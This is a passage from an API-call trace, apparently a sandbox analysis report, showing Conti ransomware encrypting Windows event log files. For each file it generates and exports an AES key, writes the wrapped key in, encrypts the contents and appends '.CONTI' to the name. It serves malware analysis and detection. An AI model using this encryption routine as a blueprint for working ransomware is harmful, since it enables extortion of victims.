	[0096.723] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.723] WriteFile (in: hFile=0x384, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0096.723] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.724] CloseHandle (hObject=0x384) returned 1
	[0096.725] GetProcessHeap () returned 0x1720000
	[0096.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.725] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx"
	[0096.725] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.CONTI"
	[0096.725] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.conti")) returned 1
	[0096.726] GetProcessHeap () returned 0x1720000
	[0096.726] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.726] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0096.726] GetProcessHeap () returned 0x1720000
	[0096.726] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d04b8 | out: hHeap=0x1720000) returned 1
	[0096.726] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0096.726] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17d6b28 | out: phKey=0x17d6b28*=0x17c80f0) returned 1
	[0096.726] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d6b2c, pdwDataLen=0x4abfcac | out: pbData=0x17d6b2c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0096.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0096.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.727] GetLastError () returned 0x0
	[0096.727] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=69632) returned 1
	[0096.727] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.727] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.727] SetEndOfFile (hFile=0x384) returned 1
	[0096.727] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.728] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.728] WriteFile (in: hFile=0x384, lpBuffer=0x17d6b2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17d6b2c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0096.729] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.729] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x11000, lpOverlapped=0x0) returned 1
	[0096.730] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11010) returned 1
	[0096.730] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.730] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x11010, lpOverlapped=0x0) returned 1
	[0096.730] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.730] WriteFile (in: hFile=0x384, lpBuffer=0x17d6b20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17d6b20*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0096.730] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.730] CloseHandle (hObject=0x384) returned 1
	[0096.732] GetProcessHeap () returned 0x1720000
	[0096.732] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.732] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx"
	[0096.732] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.CONTI"
	[0096.732] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.conti")) returned 1
	[0096.733] GetProcessHeap () returned 0x1720000
	[0096.733] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.733] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0096.733] GetProcessHeap () returned 0x1720000
	[0096.733] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5bc8 | out: hHeap=0x1720000) returned 1
	[0096.733] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0096.733] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c80f0) returned 1
	[0096.733] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x4abfcac | out: pbData=0x17c459c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0096.734] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0096.734] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.735] GetLastError () returned 0x0
	[0096.735] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=69632) returned 1
	[0096.735] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.735] SetEndOfFile (hFile=0x384) returned 1
	[0096.735] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.735] WriteFile (in: hFile=0x384, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0096.736] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.736] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x11000, lpOverlapped=0x0) returned 1
	[0096.738] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11010) returned 1
	[0096.738] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.738] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x11010, lpOverlapped=0x0) returned 1
	[0096.738] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.738] WriteFile (in: hFile=0x384, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0096.738] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.738] CloseHandle (hObject=0x384) returned 1
	[0096.740] GetProcessHeap () returned 0x1720000
	[0096.740] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.740] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx"
	[0096.740] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.CONTI"
	[0096.740] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.conti")) returned 1
	[0096.741] GetProcessHeap () returned 0x1720000
	[0096.741] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.741] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0096.741] GetProcessHeap () returned 0x1720000
	[0096.741] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0096.741] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0096.741] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17e8d98 | out: phKey=0x17e8d98*=0x17c80f0) returned 1
	[0096.741] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8d9c, pdwDataLen=0x4abfcac | out: pbData=0x17e8d9c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0096.742] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0096.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.742] GetLastError () returned 0x0
	[0096.742] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=69632) returned 1
	[0096.742] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.743] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.743] SetEndOfFile (hFile=0x384) returned 1
	[0096.743] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.743] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.743] WriteFile (in: hFile=0x384, lpBuffer=0x17e8d9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17e8d9c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0096.744] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.744] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x11000, lpOverlapped=0x0) returned 1
	[0096.745] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11010) returned 1
	[0096.745] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.745] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x11010, lpOverlapped=0x0) returned 1
	[0096.746] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.746] WriteFile (in: hFile=0x384, lpBuffer=0x17e8d90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17e8d90*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0096.746] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.746] CloseHandle (hObject=0x384) returned 1
	[0096.748] GetProcessHeap () returned 0x1720000
	[0096.748] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.748] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx"
	[0096.748] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.CONTI"
	[0096.748] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.conti")) returned 1
	[0096.749] GetProcessHeap () returned 0x1720000
	[0096.749] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.749] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0096.749] GetProcessHeap () returned 0x1720000
	[0096.749] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0096.749] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0096.749] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17e9d90 | out: phKey=0x17e9d90*=0x17c80f0) returned 1
	[0096.749] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9d94, pdwDataLen=0x4abfcac | out: pbData=0x17e9d94*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0096.750] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0096.750] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.750] GetLastError () returned 0x0
	[0096.750] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=69632) returned 1
	[0096.750] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.750] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.750] SetEndOfFile (hFile=0x384) returned 1
	[0096.750] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.750] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.750] WriteFile (in: hFile=0x384, lpBuffer=0x17e9d94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17e9d94*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0096.751] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.751] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x11000, lpOverlapped=0x0) returned 1
	[0096.753] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11010) returned 1
	[0096.753] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.753] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x11010, lpOverlapped=0x0) returned 1
	[0096.753] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.753] WriteFile (in: hFile=0x384, lpBuffer=0x17e9d88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17e9d88*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0096.753] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.753] CloseHandle (hObject=0x384) returned 1
	[0096.755] GetProcessHeap () returned 0x1720000
	[0096.755] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.755] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx"
	[0096.755] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.CONTI"
	[0096.755] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.conti")) returned 1
	[0096.756] GetProcessHeap () returned 0x1720000
	[0096.756] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.756] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0096.756] GetProcessHeap () returned 0x1720000
	[0096.756] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740dc0 | out: hHeap=0x1720000) returned 1
	[0096.756] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0096.756] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17e7480 | out: phKey=0x17e7480*=0x17c80f0) returned 1
	[0096.756] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7484, pdwDataLen=0x4abfcac | out: pbData=0x17e7484*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0096.757] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0096.757] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.757] GetLastError () returned 0x0
	[0096.757] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=69632) returned 1
